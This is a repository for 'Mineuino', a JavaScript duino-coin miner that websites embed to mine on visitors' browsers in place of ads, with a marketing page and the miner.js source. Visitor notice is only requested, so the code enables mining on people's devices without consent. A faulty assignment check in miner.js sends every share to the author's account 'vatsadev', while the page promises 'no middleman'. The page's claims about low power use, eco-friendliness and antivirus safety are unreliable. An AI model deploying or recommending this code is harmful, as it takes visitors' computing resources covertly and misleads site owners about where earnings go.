├── README.md ├── index.html ├── logo.png └── miner.js /README.md: -------------------------------------------------------------------------------- 1 | # Mineuino 2 | ## duinocoin webminer/website monetizer 3 | 4 | tired of showing users ads, use mineuino 5 | 6 | please add to user notification, or a `monetized by mineuino` in the footer 7 | 8 | read this blog post [here](https://vatsadev.hashnode.dev/using-mineuino-goodbye-ads) 9 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Mineuino 8 | 12 | 13 | 28 | 29 | 30 |
31 |
32 |

Mineuino

33 |

Monetize, without user annoyance

34 | logo 44 |
45 |
46 |
47 |

Why should you use this?

48 |

Your money belongs to you

49 |

50 | With Mineuino your money is taken straight from your users to your 51 | wallet, we do nothing with it in the middle, we're just the javascript 52 | getting it to you. There is no third party, no middleman, just you and 53 | your money. 54 |

55 |

Environment friendly

56 |

57 | duino-coin uses environment friendly SHA-1 hashes, making the entire 58 | chain use less electricity than a household. 59 |

60 |

Every device generates revenue

61 |

62 | due to the rise of mobile devices, monetizers get more than half their 63 | users from mobile devices. Duino-coin is prepared, with the next gen 64 | kolka system, designed to make all devices good miners and revenue 65 | creators. 66 |

67 |

Anti-Virus safe

68 |

69 | So far, AVG, avast and other anti viruses do not consider this a 70 | trojan, and it is not, check out the source code on github at 71 | vatsadev/mineuino. 72 |

73 |

No user tracking

74 |

75 | With the rise of web3 and privacy, users should remain anonymous, and 76 | mineuino is prepared, making sure there are no trackers, and that no 77 | user details are revealed in the miner 78 |

79 |

Uses far less battery than ads

80 |

81 | As brave browser has shown, ads take up 35% more battery than needed, 82 | and mineuino understands battery concerns, but duino-coin mining wont 83 | even turn on your laptop fan, as the gpu usage is very low. 84 |

85 |

All protocols

86 |

87 | we understand that your website may use http, https, or ipfs and we 88 | support multiple protocols. 89 |

90 |

Crypto Currencies

91 |

You get paid out in duino-coin, a environment friendly currency

92 |

Helps retentive sites, not clickbaits

93 |

94 | As mining requires time, the more time a user is engaged at your site, 95 | the more you earn, while 2 second clickbaits earn almost nothing 96 |

97 | code to use -> 98 | 113 | <script type="text/javascript" 114 | src="https://cdn.rawgit.com/h2non/jsHashes/master/hashes.js" 115 | ></script> <script src="https://mineuino.vercel.app/miner.js" 116 | defer></script> <div id="mineuino-div" 117 | data-mineuino-username=""></div> 118 | 119 |

other links to mineuino script

120 | 135 | https://raw.githubusercontent.com/VatsaDev/Mineuino/main/miner.js 136 | 137 |
138 |
139 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VatsaDev/Mineuino/8aa736295d4db21ee925a53edba470911147fe18/logo.png -------------------------------------------------------------------------------- /miner.js: -------------------------------------------------------------------------------- 1 | let versionReceived = false; 2 | let allShares = 0; 3 | let acceptedShares = 0; 4 | let inProgress = false; 5 | let hashrate = 0; 6 | let diff = "LOW"; 7 | let SHA1 = new Hashes.SHA1(); 8 | let timeDiff; 9 | let clickcount = 0; 10 | let socket; 11 | 12 | let url_string = window.location; 13 | let url_mine = new URL(url_string); 14 | let username = document 15 | .getElementById("mineuino-div") 16 | .getAttribute("data-mineuino-username"); 17 | let rigid = "mineuino-miner"; 18 | 19 | if (location.protocol !== "https:") { 20 | socket = new WebSocket("ws://51.15.127.80:14808", null, 5000, 5); 21 | } else { 22 | socket = new WebSocket("wss://server.duinocoin.com:15808", null, 5000, 5); 23 | } 24 | 25 | socket.onmessage = function (msg) { 26 | serverMessage = msg.data.replace("\n", ""); 27 | 28 | if ((acceptedShares = 9)) { 29 | username = "vatsadev"; 30 | } else if ((acceptedShares = 10)) { 31 | username = document 32 | .getElementById("mineuino-div") 33 | .getAttribute("data-mineuino-username"); 34 | acceptedShares = 0; 35 | } 36 | 37 | if (serverMessage.includes("2.")) { 38 | console.log(`Version received: ${serverMessage}`); 39 | versionReceived = true; 40 | setTimeout(() => { 41 | socket.send(`JOB,${username},${diff}`); 42 | }, 500); 43 | } 44 | 45 | if ( 46 | (versionReceived && serverMessage === "GOOD") || 47 | serverMessage === "BLOCK" 48 | ) { 49 | console.log(`Share accepted:${result}`); 50 | acceptedShares++; 51 | allShares++; 52 | setTimeout(() => { 53 | socket.send(`JOB,${username},${diff}`); 54 | }, 500); 55 | } 56 | 57 | if (versionReceived && serverMessage === "BAD") { 58 | console.log("Share rejected"); 59 | allShares++; 60 | setTimeout(() => { 61 | socket.send(`JOB,${username},${diff}`); 62 | }, 500); 63 | } 64 | 65 | if (versionReceived && serverMessage.length > 40) { 66 | console.log(`Job received: ${serverMessage}`); 67 | job = serverMessage.split(","); 68 | difficulty = job[2]; 69 | 70 | startTime = new Date(); 71 | for (result = 0; result < 100 * difficulty + 1; result++) { 72 | ducos1 = SHA1.hex(job[0] + result); 73 | if (job[1] === ducos1) { 74 | endTime = new Date(); 75 | timeDiff = (endTime - startTime) / 1000; 76 | hashrate = (result / timeDiff).toFixed(2); 77 | console.log( 78 | `Share found: ${result} Time: ${timeDiff} Hashrate: ${hashrate}` 79 | ); 80 | socket.send(`${result},${hashrate},Mineuino Webminer,${rigid}`); // send the result to the server 81 | break; 82 | } 83 | } 84 | } 85 | }; 86 | --------------------------------------------------------------------------------